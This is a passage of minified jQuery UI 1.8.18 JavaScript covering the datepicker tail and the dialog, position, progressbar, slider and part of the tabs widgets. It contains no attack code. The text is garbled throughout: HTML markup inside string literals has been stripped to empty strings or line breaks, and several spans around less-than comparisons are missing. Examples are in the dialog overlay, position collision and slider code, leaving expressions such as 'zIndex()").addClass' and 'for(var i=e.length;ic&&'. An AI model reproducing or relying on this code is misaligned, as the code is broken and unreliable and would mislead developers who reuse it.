32-this._daylightSavingAdjust(new Date(a,b,32)).getDate()},_getFirstDayOfMonth:function(a,b){return(new Date(a,b,1)).getDay()},_canAdjustMonth:function(a,b,c,d){var e=this._getNumberOfMonths(a),f=this._daylightSavingAdjust(new Date(c,d+(b<0?b:e[0]*e[1]),1));b<0&&f.setDate(this._getDaysInMonth(f.getFullYear(),f.getMonth()));return this._isInRange(a,f)},_isInRange:function(a,b){var c=this._getMinMaxDate(a,"min"),d=this._getMinMaxDate(a,"max");return(!c||b.getTime()>=c.getTime())&&(!d||b.getTime()<=d.getTime())},_getFormatConfig:function(a){var b=this._get(a,"shortYearCutoff");b=typeof b!="string"?b:(new Date).getFullYear()%100+parseInt(b,10);return{shortYearCutoff:b,dayNamesShort:this._get(a,"dayNamesShort"),dayNames:this._get(a,"dayNames"),monthNamesShort:this._get(a,"monthNamesShort"),monthNames:this._get(a,"monthNames")}},_formatDate:function(a,b,c,d){b||(a.currentDay=a.selectedDay,a.currentMonth=a.selectedMonth,a.currentYear=a.selectedYear);var e=b?typeof b=="object"?b:this._daylightSavingAdjust(new Date(d,c,b)):this._daylightSavingAdjust(new Date(a.currentYear,a.currentMonth,a.currentDay));return this.formatDate(this._get(a,"dateFormat"),e,this._getFormatConfig(a))}}),$.fn.datepicker=function(a){if(!this.length)return this;$.datepicker.initialized||($(document).mousedown($.datepicker._checkExternalClick).find("body").append($.datepicker.dpDiv),$.datepicker.initialized=!0);var b=Array.prototype.slice.call(arguments,1);if(typeof a=="string"&&(a=="isDisabled"||a=="getDate"||a=="widget" ))return $.datepicker["_"+a+"Datepicker"].apply($.datepicker,[this[0]].concat(b));if(a=="option"&&arguments.length==2&&typeof arguments[1]=="string")return $.datepicker["_"+a+"Datepicker"].apply($.datepicker,[this[0]].concat(b));return this.each(function(){typeof a=="string"?$.datepicker["_"+a+"Datepicker"].apply($.datepicker,[this].concat(b)):$.datepicker._attachDatepicker(this,a)})},$.datepicker=new Datepicker,$.datepicker.initialized=!1,$.datepicker.uuid=(new Date).getTime(),$.datepicker.version="1.8.18",window["DP_jQuery_"+dpuuid]=$}(jQuery),function(a,b){var c="ui-dialog ui-widget ui-widget-content ui-corner-all ",d={buttons:!0,height:!0,maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0,width:!0},e={maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0},f=a.attrFn||{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0,click:!0};a.widget("ui.dialog",{options:{autoOpen:!0,buttons:{},closeOnEscape:!0,closeText:"close",dialogClass:"",draggable:!0,hide:null,height:"auto",maxHeight:!1,maxWidth:!1,minHeight:150,minWidth:150,modal:!1,position:{my:"center",at:"center",collision:"fit",using:function(b){var c=a(this).css(b).offset().top;c<0&&a(this).css("top",b.top-c)}},resizable:!0,show:null,stack:!0,title:"",width:300,zIndex:1e3},_create:function(){this.originalTitle=this.element.attr("title"),typeof this.originalTitle!="string"&&(this.originalTitle=""),this.options.title=this.options.title||this.originalTitle;var b=this,d=b.options,e=d.title||" ",f=a.ui.dialog.getTitleId(b.element),g=(b.uiDialog=a("
    ")).appendTo(document.body).hide().addClass(c+d.dialogClass).css({zIndex:d.zIndex}).attr("tabIndex",-1).css("outline",0).keydown(function(c){d.closeOnEscape&&!c.isDefaultPrevented()&&c.keyCode&&c.keyCode===a.ui.keyCode.ESCAPE&&(b.close(c),c.preventDefault())}).attr({role:"dialog","aria-labelledby":f}).mousedown(function(a){b.moveToTop(!1,a)}),h=b.element.show().removeAttr("title").addClass("ui-dialog-content ui-widget-content").appendTo(g),i=(b.uiDialogTitlebar=a("
    ")).addClass("ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix").prependTo(g),j=a('').addClass("ui-dialog-titlebar-close ui-corner-all").attr("role","button").hover(function(){j.addClass("ui-state-hover")},function(){j.removeClass("ui-state-hover")}).focus(function(){j.addClass("ui-state-focus")}).blur(function(){j.removeClass("ui-state-focus")}).click(function(a){b.close(a);return!1}).appendTo(i),k=(b.uiDialogTitlebarCloseText=a("")).addClass("ui-icon ui-icon-closethick").text(d.closeText).appendTo(j),l=a("").addClass("ui-dialog-title").attr("id",f).html(e).prependTo(i);a.isFunction(d.beforeclose)&&!a.isFunction(d.beforeClose)&&(d.beforeClose=d.beforeclose),i.find("*").add(i).disableSelection(),d.draggable&&a.fn.draggable&&b._makeDraggable(),d.resizable&&a.fn.resizable&&b._makeResizable(),b._createButtons(d.buttons),b._isOpen=!1,a.fn.bgiframe&&g.bgiframe()},_init:function(){this.options.autoOpen&&this.open()},destroy:function(){var a=this;a.overlay&&a.overlay.destroy(),a.uiDialog.hide(),a.element.unbind(".dialog").removeData("dialog").removeClass("ui-dialog-content ui-widget-content").hide().appendTo("body"),a.uiDialog.remove(),a.originalTitle&&a.element.attr("title",a.originalTitle);return a},widget:function(){return this.uiDialog},close:function(b){var c=this,d,e;if(!1!==c._trigger("beforeClose",b)){c.overlay&&c.overlay.destroy(),c.uiDialog.unbind("keypress.ui-dialog"),c._isOpen=!1,c.options.hide?c.uiDialog.hide(c.options.hide,function(){c._trigger("close",b)}):(c.uiDialog.hide(),c._trigger("close",b)),a.ui.dialog.overlay.resize(),c.options.modal&&(d=0,a(".ui-dialog").each(function(){this!==c.uiDialog[0]&&(e=a(this).css("z-index"),isNaN(e)||(d=Math.max(d,e)))}),a.ui.dialog.maxZ=d);return c}},isOpen:function(){return this._isOpen},moveToTop:function(b,c){var d=this,e=d.options,f;if(e.modal&&!b||!e.stack&&!e.modal)return d._trigger("focus",c);e.zIndex>a.ui.dialog.maxZ&&(a.ui.dialog.maxZ=e.zIndex),d.overlay&&(a.ui.dialog.maxZ+=1,d.overlay.$el.css("z-index",a.ui.dialog.overlay.maxZ=a.ui.dialog.maxZ)),f={scrollTop:d.element.scrollTop(),scrollLeft:d.element.scrollLeft()},a.ui.dialog.maxZ+=1,d.uiDialog.css("z-index",a.ui.dialog.maxZ),d.element.attr(f),d._trigger("focus",c);return d},open:function(){if(!this._isOpen){var b=this,c=b.options,d=b.uiDialog;b.overlay=c.modal?new a.ui.dialog.overlay(b):null,b._size(),b._position(c.position),d.show(c.show),b.moveToTop(!0),c.modal&&d.bind("keydown.ui-dialog",function(b){if(b.keyCode===a.ui.keyCode.TAB){var c=a(":tabbable",this),d=c.filter(":first"),e=c.filter(":last");if(b.target===e[0]&&!b.shiftKey){d.focus(1);return!1}if(b.target===d[0]&&b.shiftKey){e.focus(1);return!1}}}),a(b.element.find(":tabbable").get().concat(d.find(".ui-dialog-buttonpane :tabbable").get().concat(d.get()))).eq(0).focus(),b._isOpen=!0,b._trigger("open");return b}},_createButtons:function(b){var c=this,d=!1,e=a("
    ").addClass("ui-dialog-buttonpane ui-widget-content ui-helper-clearfix"),g=a("
    ").addClass("ui-dialog-buttonset").appendTo(e);c.uiDialog.find(".ui-dialog-buttonpane").remove(),typeof b=="object"&&b!==null&&a.each(b,function(){return!(d=!0)}),d&&(a.each(b,function(b,d){d=a.isFunction(d)?{click:d,text:b}:d;var e=a('').click(function(){d.click.apply(c.element[0],arguments)}).appendTo(g);a.each(d,function(a,b){a!=="click"&&(a in f?e[a](b):e.attr(a,b))}),a.fn.button&&e.button()}),e.appendTo(c.uiDialog))},_makeDraggable:function(){function f(a){return{position:a.position,offset:a.offset}}var b=this,c=b.options,d=a(document),e;b.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(d,g){e=c.height==="auto"?"auto":a(this).height(),a(this).height(a(this).height()).addClass("ui-dialog-dragging"),b._trigger("dragStart",d,f(g))},drag:function(a,c){b._trigger("drag",a,f(c))},stop:function(g,h){c.position=[h.position.left-d.scrollLeft(),h.position.top-d.scrollTop()],a(this).removeClass("ui-dialog-dragging").height(e),b._trigger("dragStop",g,f(h)),a.ui.dialog.overlay.resize()}})},_makeResizable:function(c){function h(a){return{originalPosition:a.originalPosition,originalSize:a.originalSize,position:a.position,size:a.size}}c=c===b?this.options.resizable:c;var d=this,e=d.options,f=d.uiDialog.css("position"),g=typeof c=="string"?c:"n,e,s,w,se,sw,ne,nw";d.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:d.element,maxWidth:e.maxWidth,maxHeight:e.maxHeight,minWidth:e.minWidth,minHeight:d._minHeight(),handles:g,start:function(b,c){a(this).addClass("ui-dialog-resizing"),d._trigger("resizeStart",b,h(c))},resize:function(a,b){d._trigger("resize",a,h(b))},stop:function(b,c){a(this).removeClass("ui-dialog-resizing"),e.height=a(this).height(),e.width=a(this).width(),d._trigger("resizeStop",b,h(c)),a.ui.dialog.overlay.resize()}}).css("position",f).find(".ui-resizable-se").addClass("ui-icon ui-icon-grip-diagonal-se")},_minHeight:function(){var a=this.options;return a.height==="auto"?a.minHeight:Math.min(a.minHeight,a.height)},_position:function(b){var c=[],d=[0,0],e;if(b){if(typeof b=="string"||typeof b=="object"&&"0"in b)c=b.split?b.split(" "):[b[0],b[1]],c.length===1&&(c[1]=c[0]),a.each(["left","top"],function(a,b){+c[a]===c[a]&&(d[a]=c[a],c[a]=b)}),b={my:c.join(" "),at:c.join(" "),offset:d.join(" ")};b=a.extend({},a.ui.dialog.prototype.options.position,b)}else b=a.ui.dialog.prototype.options.position;e=this.uiDialog.is(":visible"),e||this.uiDialog.show(),this.uiDialog.css({top:0,left:0}).position(a.extend({of:window},b)),e||this.uiDialog.hide()},_setOptions:function(b){var c=this,f={},g=!1;a.each(b,function(a,b){c._setOption(a,b),a in d&&(g=!0),a in e&&(f[a]=b)}),g&&this._size(),this.uiDialog.is(":data(resizable)")&&this.uiDialog.resizable("option",f)},_setOption:function(b,d){var e=this,f=e.uiDialog;switch(b){case"beforeclose":b="beforeClose";break;case"buttons":e._createButtons(d);break;case"closeText":e.uiDialogTitlebarCloseText.text(""+d);break;case"dialogClass":f.removeClass(e.options.dialogClass).addClass(c+d);break;case"disabled":d?f.addClass("ui-dialog-disabled"):f.removeClass("ui-dialog-disabled");break;case"draggable":var g=f.is(":data(draggable)");g&&!d&&f.draggable("destroy"),!g&&d&&e._makeDraggable();break;case"position":e._position(d);break;case"resizable":var h=f.is(":data(resizable)");h&&!d&&f.resizable("destroy"),h&&typeof d=="string"&&f.resizable("option","handles",d),!h&&d!==!1&&e._makeResizable(d);break;case"title":a(".ui-dialog-title",e.uiDialogTitlebar).html(""+(d||" "))}a.Widget.prototype._setOption.apply(e,arguments)},_size:function(){var b=this.options,c,d,e=this.uiDialog.is(":visible");this.element.show().css({width:"auto",minHeight:0,height:0}),b.minWidth>b.width&&(b.width=b.minWidth),c=this.uiDialog.css({height:"auto",width:b.width}).height(),d=Math.max(0,b.minHeight-c);if(b.height==="auto")if(a.support.minHeight)this.element.css({minHeight:d,height:"auto"});else{this.uiDialog.show();var f=this.element.css("height","auto").height();e||this.uiDialog.hide(),this.element.height(Math.max(f,d))}else this.element.height(Math.max(b.height-c,0));this.uiDialog.is(":data(resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())}}),a.extend(a.ui.dialog,{version:"1.8.18",uuid:0,maxZ:0,getTitleId:function(a){var b=a.attr("id");b||(this.uuid+=1,b=this.uuid);return"ui-dialog-title-"+b},overlay:function(b){this.$el=a.ui.dialog.overlay.create(b)}}),a.extend(a.ui.dialog.overlay,{instances:[],oldInstances:[],maxZ:0,events:a.map("focus,mousedown,mouseup,keydown,keypress,click".split(","),function(a){return a+".dialog-overlay"}).join(" "),create:function(b){this.instances.length===0&&(setTimeout(function(){a.ui.dialog.overlay.instances.length&&a(document).bind(a.ui.dialog.overlay.events,function(b){if(a(b.target).zIndex()").addClass("ui-widget-overlay")).appendTo(document.body).css({width:this.width(),height:this.height()});a.fn.bgiframe&&c.bgiframe(),this.instances.push(c);return c},destroy:function(b){var c=a.inArray(b,this.instances);c!=-1&&this.oldInstances.push(this.instances.splice(c,1)[0]),this.instances.length===0&&a([document,window]).unbind(".dialog-overlay"),b.remove();var d=0;a.each(this.instances,function(){d=Math.max(d,this.css("z-index"))}),this.maxZ=d},height:function(){var b,c;if(a.browser.msie&&a.browser.version<7){b=Math.max(document.documentElement.scrollHeight,document.body.scrollHeight),c=Math.max(document.documentElement.offsetHeight,document.body.offsetHeight);return b0?b.left-e:Math.max(b.left-c.collisionPosition.left,b.left)},top:function(b,c){var d=a(window),e=c.collisionPosition.top+c.collisionHeight-d.height()-d.scrollTop();b.top=e>0?b.top-e:Math.max(b.top-c.collisionPosition.top,b.top)}},flip:{left:function(b,c){if(c.at[0]!==e){var d=a(window),f=c.collisionPosition.left+c.collisionWidth-d.width()-d.scrollLeft(),g=c.my[0]==="left"?-c.elemWidth:c.my[0]==="right"?c.elemWidth:0,h=c.at[0]==="left"?c.targetWidth:-c.targetWidth,i=-2*c.offset[0];b.left+=c.collisionPosition.left<0?g+h+i:f>0?g+h+i:0}},top:function(b,c){if(c.at[1]!==e){var d=a(window),f=c.collisionPosition.top+c.collisionHeight-d.height()-d.scrollTop(),g=c.my[1]==="top"?-c.elemHeight:c.my[1]==="bottom"?c.elemHeight:0,h=c.at[1]==="top"?c.targetHeight:-c.targetHeight,i=-2*c.offset[1];b.top+=c.collisionPosition.top<0?g+h+i:f>0?g+h+i:0}}}},a.offset.setOffset||(a.offset.setOffset=function(b,c){/static/.test(a.curCSS(b,"position"))&&(b.style.position="relative");var d=a(b),e=d.offset(),f=parseInt(a.curCSS(b,"top",!0),10)||0,g=parseInt(a.curCSS(b,"left",!0),10)||0,h={top:c.top-e.top+f,left:c.left-e.left+g};"using"in c?c.using.call(b,h):d.css(h)},a.fn.offset=function(b){var c=this[0];if(!c||!c.ownerDocument)return null;if(b)return this.each(function(){a.offset.setOffset(this,b)});return h.call(this)}),function(){var b=document.getElementsByTagName("body")[0],c=document.createElement("div"),d,e,g,h,i;d=document.createElement(b?"div":"body"),g={visibility:"hidden",width:0,height:0,border:0,margin:0,background:"none"},b&&a.extend(g,{position:"absolute",left:"-1000px",top:"-1000px"});for(var j in g)d.style[j]=g[j];d.appendChild(c),e=b||document.documentElement,e.insertBefore(d,e.firstChild),c.style.cssText="position: absolute; left: 10.7432222px; top: 10.432325px; height: 30px; width: 201px;",h=a(c).offset(function(a,b){return b}).offset(),d.innerHTML="",e.removeChild(d),i=h.top+h.left+(b?2e3:0),f.fractions=i>21&&i<22}()}(jQuery),function(a,b){a.widget("ui.progressbar",{options:{value:0,max:100},min:0,_create:function(){this.element.addClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").attr({role:"progressbar","aria-valuemin":this.min,"aria-valuemax":this.options.max,"aria-valuenow":this._value()}),this.valueDiv=a("
    ").appendTo(this.element),this.oldValue=this._value(),this._refreshValue()},destroy:function(){this.element.removeClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"),this.valueDiv.remove(),a.Widget.prototype.destroy.apply(this,arguments)},value:function(a){if(a===b)return this._value();this._setOption("value",a);return this},_setOption:function(b,c){b==="value"&&(this.options.value=c,this._refreshValue(),this._value()===this.options.max&&this._trigger("complete")),a.Widget.prototype._setOption.apply(this,arguments)},_value:function(){var a=this.options.value;typeof a!="number"&&(a=0);return Math.min(this.options.max,Math.max(this.min,a))},_percentage:function(){return 100*this._value()/this.options.max},_refreshValue:function(){var a=this.value(),b=this._percentage();this.oldValue!==a&&(this.oldValue=a,this._trigger("change")),this.valueDiv.toggle(a>this.min).toggleClass("ui-corner-right",a===this.options.max).width(b.toFixed(0)+"%"),this.element.attr("aria-valuenow",a)}}),a.extend(a.ui.progressbar,{version:"1.8.18"})}(jQuery),function(a,b){var c=5;a.widget("ui.slider",a.ui.mouse,{widgetEventPrefix:"slide",options:{animate:!1,distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null},_create:function(){var b=this,d=this.options,e=this.element.find(".ui-slider-handle").addClass("ui-state-default ui-corner-all"),f="",g=d.values&&d.values.length||1,h=[];this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this.element.addClass("ui-slider ui-slider-"+this.orientation+" ui-widget"+" ui-widget-content"+" ui-corner-all"+(d.disabled?" ui-slider-disabled ui-disabled":"")),this.range=a([]),d.range&&(d.range===!0&&(d.values||(d.values=[this._valueMin(),this._valueMin()]),d.values.length&&d.values.length!==2&&(d.values=[d.values[0],d.values[0]])),this.range=a("
    ").appendTo(this.element).addClass("ui-slider-range ui-widget-header"+(d.range==="min"||d.range==="max"?" ui-slider-range-"+d.range:"")));for(var i=e.length;ic&&(f=c,g=a(this),i=b)}),c.range===!0&&this.values(1)===c.min&&(i+=1,g=a(this.handles[i])),j=this._start(b,i);if(j===!1)return!1;this._mouseSliding=!0,h._handleIndex=i,g.addClass("ui-state-active").focus(),k=g.offset(),l=!a(b.target).parents().andSelf().is(".ui-slider-handle"),this._clickOffset=l?{left:0,top:0}:{left:b.pageX-k.left-g.width()/2,top:b.pageY-k.top-g.height()/2-(parseInt(g.css("borderTopWidth"),10)||0)-(parseInt(g.css("borderBottomWidth"),10)||0)+(parseInt(g.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(b,i,e),this._animateOff=!0;return!0},_mouseStart:function(a){return!0},_mouseDrag:function(a){var b={x:a.pageX,y:a.pageY},c=this._normValueFromMouse(b);this._slide(a,this._handleIndex,c);return!1},_mouseStop:function(a){this.handles.removeClass("ui-state-active"),this._mouseSliding=!1,this._stop(a,this._handleIndex),this._change(a,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1;return!1},_detectOrientation:function(){this.orientation=this.options.orientation==="vertical"?"vertical":"horizontal"},_normValueFromMouse:function(a){var b,c,d,e,f;this.orientation==="horizontal"?(b=this.elementSize.width,c=a.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(b=this.elementSize.height,c=a.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),d=c/b,d>1&&(d=1),d<0&&(d=0),this.orientation==="vertical"&&(d=1-d),e=this._valueMax()-this._valueMin(),f=this._valueMin()+d*e;return this._trimAlignValue(f)},_start:function(a,b){var c={handle:this.handles[b],value:this.value()};this.options.values&&this.options.values.length&&(c.value=this.values(b),c.values=this.values());return this._trigger("start",a,c)},_slide:function(a,b,c){var d,e,f;this.options.values&&this.options.values.length?(d=this.values(b?0:1),this.options.values.length===2&&this.options.range===!0&&(b===0&&c>d||b===1&&c1)this.options.values[b]=this._trimAlignValue(c),this._refreshValue(),this._change(null,b);else{if(!arguments.length)return this._values();if(!a.isArray(arguments[0]))return this.options.values&&this.options.values.length?this._values(b):this.value();d=this.options.values,e=arguments[0];for(f=0;f=this._valueMax())return this._valueMax();var b=this.options.step>0?this.options.step:1,c=(a-this._valueMin())%b,d=a-c;Math.abs(c)*2>=b&&(d+=c>0?b:-b);return parseFloat(d.toFixed(5))},_valueMin:function(){return this.options.min},_valueMax:function(){return this.options.max},_refreshValue:function(){var b=this.options.range,c=this.options,d=this,e=this._animateOff?!1:c.animate,f,g={},h,i,j,k;this.options.values&&this.options.values.length?this.handles.each(function(b,i){f=(d.values(b)-d._valueMin())/(d._valueMax()-d._valueMin())*100,g[d.orientation==="horizontal"?"left":"bottom"]=f+"%",a(this).stop(1,1)[e?"animate":"css"](g,c.animate),d.options.range===!0&&(d.orientation==="horizontal"?(b===0&&d.range.stop(1,1)[e?"animate":"css"]({left:f+"%"},c.animate),b===1&&d.range[e?"animate":"css"]({width:f-h+"%"},{queue:!1,duration:c.animate})):(b===0&&d.range.stop(1,1)[e?"animate":"css"]({bottom:f+"%"},c.animate),b===1&&d.range[e?"animate":"css"]({height:f-h+"%"},{queue:!1,duration:c.animate}))),h=f}):(i=this.value(),j=this._valueMin(),k=this._valueMax(),f=k!==j?(i-j)/(k-j)*100:0,g[d.orientation==="horizontal"?"left":"bottom"]=f+"%",this.handle.stop(1,1)[e?"animate":"css"](g,c.animate),b==="min"&&this.orientation==="horizontal"&&this.range.stop(1,1)[e?"animate":"css"]({width:f+"%"},c.animate),b==="max"&&this.orientation==="horizontal"&&this.range[e?"animate":"css"]({width:100-f+"%"},{queue:!1,duration:c.animate}),b==="min"&&this.orientation==="vertical"&&this.range.stop(1,1)[e?"animate":"css"]({height:f+"%"},c.animate),b==="max"&&this.orientation==="vertical"&&this.range[e?"animate":"css"]({height:100-f+"%"},{queue:!1,duration:c.animate}))}}),a.extend(a.ui.slider,{version:"1.8.18"})}(jQuery),function(a,b){function f(){return++d}function e(){return++c}var c=0,d=0;a.widget("ui.tabs",{options:{add:null,ajaxOptions:null,cache:!1,cookie:null,collapsible:!1,disable:null,disabled:[],enable:null,event:"click",fx:null,idPrefix:"ui-tabs-",load:null,panelTemplate:"
    ",remove:null,select:null,show:null,spinner:"Loading…",tabTemplate:"
  • #{label}
  • "},_create:function(){this._tabify(!0)},_setOption:function(a,b){if(a=="selected"){if(this.options.collapsible&&b==this.options.selected)return;this.select(b)}else this.options[a]=b,this._tabify()},_tabId:function(a){return a.title&&a.title.replace(/\s/g,"_").replace(/[^\w\u00c0-\uFFFF-]/g,"")||this.options.idPrefix+e()},_sanitizeSelector:function(a){return a.replace(/:/g,"\\:")},_cookie:function(){var b=this.cookie||(this.cookie=this.options.cookie.name||"ui-tabs-"+f());return a.cookie.apply(null,[b].concat(a.makeArray(arguments)))},_ui:function(a,b){return{tab:a,panel:b,index:this.anchors.index(a)}},_cleanup:function(){this.lis.filter(".ui-state-processing").removeClass("ui-state-processing").find("span:data(label.tabs)").each(function(){var b=a(this);b.html(b.data("label.tabs")).removeData("label.tabs")})},_tabify:function(c){function m(b,c){b.css("display",""),!a.support.opacity&&c.opacity&&b[0].style.removeAttribute("filter")}var d=this,e=this.options,f=/^#.+/;this.list=this.element.find("ol,ul").eq(0),this.lis=a(" > li:has(a[href])",this.list),this.anchors=this.lis.map(function(){return a("a",this)[0]}),this.panels=a([]),this.anchors.each(function(b,c){var g=a(c).attr("href"),h=g.split("#")[0],i;h&&(h===location.toString().split("#")[0]||(i=a("base")[0])&&h===i.href)&&(g=c.hash,c.href=g);if(f.test(g))d.panels=d.panels.add(d.element.find(d._sanitizeSelector(g)));else if(g&&g!=="#"){a.data(c,"href.tabs",g),a.data(c,"load.tabs",g.replace(/#.*$/,""));var j=d._tabId(c);c.href="#"+j;var k=d.element.find("#"+j);k.length||(k=a(e.panelTemplate).attr("id",j).addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").insertAfter(d.panels[b-1]||d.list),k.data("destroy.tabs",!0)),d.panels=d.panels.add(k)}else e.disabled.push(b)}),c?(this.element.addClass("ui-tabs ui-widget ui-widget-content ui-corner-all"),this.list.addClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all"),this.lis.addClass("ui-state-default ui-corner-top"),this.panels.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom"),e.selected===b?(location.hash&&this.anchors.each(function(a,b){if(b.hash==location.hash){e.selected=a;return!1}}),typeof e.selected!="number"&&e.cookie&&(e.selected=parseInt(d._cookie(),10)),typeof e.selected!="number"&&this.lis.filter(".ui-tabs-selected").length&&(e.selected=this.lis.index(this.lis.filter(".ui-tabs-selected"))),e.selected=e.selected||(this.lis.length?0:-1)):e.selected===null&&(e.selected=-1),e.selected=e.selected>=0&&this.anchors[e.selected]||e.selected<0?e.selected:0,e.disabled=a.unique(e.disabled.concat(a.map(this.lis.filter(".ui-state-disabled"),function(a,b){return d.lis.index(a)}))).sort(),a.inArray(e.selected,e.disabled)!=-1&&e.disabled.splice(a.inArray(e.selected,e.disabled),1),this.panels.addClass("ui-tabs-hide"),this.lis.removeClass("ui-tabs-selected ui-state-active"),e.selected>=0&&this.anchors.length&&(d.element.find(d._sanitizeSelector(d.anchors[e.selected].hash)).removeClass("ui-tabs-hide"),this.lis.eq(e.selected).addClass("ui-tabs-selected ui-state-active"),d.element.queue("tabs",function(){d._trigger("show",null,d._ui(d.anchors[e.selected],d.element.find(d._sanitizeSelector(d.anchors[e.selected].hash))[0]))}),this.load(e.selected)),a(window).bind("unload",function(){d.lis.add(d.anchors).unbind(".tabs"),d.lis=d.anchors=d.panels=null})):e.selected=this.lis.index(this.lis.filter(".ui-tabs-selected")),this.element[e.collapsible?"addClass":"removeClass"]("ui-tabs-collapsible"),e.cookie&&this._cookie(e.selected,e.cookie);for(var g=0,h;h=this.lis[g];g++)a(h)[a.inArray(g,e.disabled)!=-1&&!a(h).hasClass("ui-tabs-selected")?"addClass":"removeClass"]("ui-state-disabled");e.cache===!1&&this.anchors.removeData("cache.tabs"),this.lis.add(this.anchors).unbind(".tabs");if(e.event!=="mouseover"){var i=function(a,b){b.is(":not(.ui-state-disabled)")&&b.addClass("ui-state-"+a)},j=function(a,b){b.removeClass("ui-state-"+a)};this.lis.bind("mouseover.tabs",function(){i("hover",a(this))}),this.lis.bind("mouseout.tabs",function(){j("hover",a(this))}),this.anchors.bind("focus.tabs",function(){i("focus",a(this).closest("li"))}),this.anchors.bind("blur.tabs",function(){j("focus",a(this).closest("li"))})}var k,l;e.fx&&(a.isArray(e.fx)?(k=e.fx[0],l=e.fx[1]):k=l=e.fx);var n=l?function(b,c){a(b).closest("li").addClass("ui-tabs-selected ui-state-active"),c.hide().removeClass("ui-tabs-hide").animate(l,l.duration||"normal",function(){m(c,l),d._trigger("show",null,d._ui(b,c[0]))})}:function(b,c){a(b).closest("li").addClass("ui-tabs-selected ui-state-active"),c.removeClass("ui-tabs-hide"),d._trigger("show",null,d._ui(b,c[0]))},o=k?function(a,b){b.animate(k,k.duration||"normal",function(){d.lis.removeClass("ui-tabs-selected ui-state-active"),b.addClass("ui-tabs-hide"),m(b,k),d.element.dequeue("tabs")})}:function(a,b,c){d.lis.removeClass("ui-tabs-selected ui-state-active"),b.addClass("ui-tabs-hide"),d.element.dequeue("tabs")};this.anchors.bind(e.event+".tabs",function(){var b=this,c=a(b).closest("li"),f=d.panels.filter(":not(.ui-tabs-hide)"),g=d.element.find(d._sanitizeSelector(b.hash));if(c.hasClass("ui-tabs-selected")&&!e.collapsible||c.hasClass("ui-state-disabled")||c.hasClass("ui-state-processing")||d.panels.filter(":animated").length||d._trigger("select",null,d._ui(this,g[0]))===!1){this.blur();return!1}e.selected=d.anchors.index(this),d.abort();if(e.collapsible){if(c.hasClass("ui-tabs-selected")){e.selected=-1,e.cookie&&d._cookie(e.selected,e.cookie),d.element.queue("tabs",function(){o(b,f)}).dequeue("tabs"),this.blur();return!1}if(!f.length){e.cookie&&d._cookie(e.selected,e.cookie),d.element.queue("tabs",function(){n(b,g)} ),d.load(d.anchors.index(this)),this.blur();return!1}}e.cookie&&d._cookie(e.selected,e.cookie);if(g.length)f.length&&d.element.queue("tabs",function(){o(b,f)}),d.element.queue("tabs",function(){n(b,g)}),d.load(d.anchors.index(this));else throw"jQuery UI Tabs: Mismatching fragment identifier.";a.browser.msie&&this.blur()}),this.anchors.bind("click.tabs",function(){return!1})},_getIndex:function(a){typeof a=="string"&&(a=this.anchors.index(this.anchors.filter("[href$="+a+"]")));return a},destroy:function(){var b=this.options;this.abort(),this.element.unbind(".tabs").removeClass("ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible").removeData("tabs"),this.list.removeClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all"),this.anchors.each(function(){var b=a.data(this,"href.tabs");b&&(this.href=b);var c=a(this).unbind(".tabs");a.each(["href","load","cache"],function(a,b){c.removeData(b+".tabs")})}),this.lis.unbind(".tabs").add(this.panels).each(function(){a.data(this,"destroy.tabs")?a(this).remove():a(this).removeClass(["ui-state-default","ui-corner-top","ui-tabs-selected","ui-state-active","ui-state-hover","ui-state-focus","ui-state-disabled","ui-tabs-panel","ui-widget-content","ui-corner-bottom","ui-tabs-hide"].join(" "))}),b.cookie&&this._cookie(null,b.cookie);return this},add:function(c,d,e){e===b&&(e=this.anchors.length);var f=this,g=this.options,h=a(g.tabTemplate.replace(/#\{href\}/g,c).replace(/#\{label\}/g,d)),i=c.indexOf("#")?this._tabId(a("a",h)[0]):c.replace("#","");h.addClass("ui-state-default ui-corner-top").data("destroy.tabs",!0);var j=f.element.find("#"+i);j.length||(j=a(g.panelTemplate).attr("id",i).data("destroy.tabs",!0)),j.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide"),e>=this.lis.length?(h.appendTo(this.list),j.appendTo(this.list[0].parentNode)):(h.insertBefore(this.lis[e]),j.insertBefore(this.panels[e])),g.disabled=a.map(g.disabled,function(a,b){return a>=e?++a:a}),this._tabify(),this.anchors.length==1&&(g.selected=0,h.addClass("ui-tabs-selected ui-state-active"),j.removeClass("ui-tabs-hide"),this.element.queue("tabs",function(){f._trigger("show",null,f._ui(f.anchors[0],f.panels[0]))}),this.load(0)),this._trigger("add",null,this._ui(this.anchors[e],this.panels[e]));return this},remove:function(b){b=this._getIndex(b);var c=this.options,d=this.lis.eq(b).remove(),e=this.panels.eq(b).remove();d.hasClass("ui-tabs-selected")&&this.anchors.length>1&&this.select(b+(b+1=b?--a:a}),this._tabify(),this._trigger("remove",null,this._ui(d.find("a")[0],e[0]));return this},enable:function(b){b=this._getIndex(b);var c=this.options;if(a.inArray(b,c.disabled)!=-1){this.lis.eq(b).removeClass("ui-state-disabled"),c.disabled=a.grep(c.disabled,function(a,c){return a!=b}),this._trigger("enable",null,this._ui(this.anchors[b],this.panels[b]));return this}},disable:function(a){a=this._getIndex(a);var 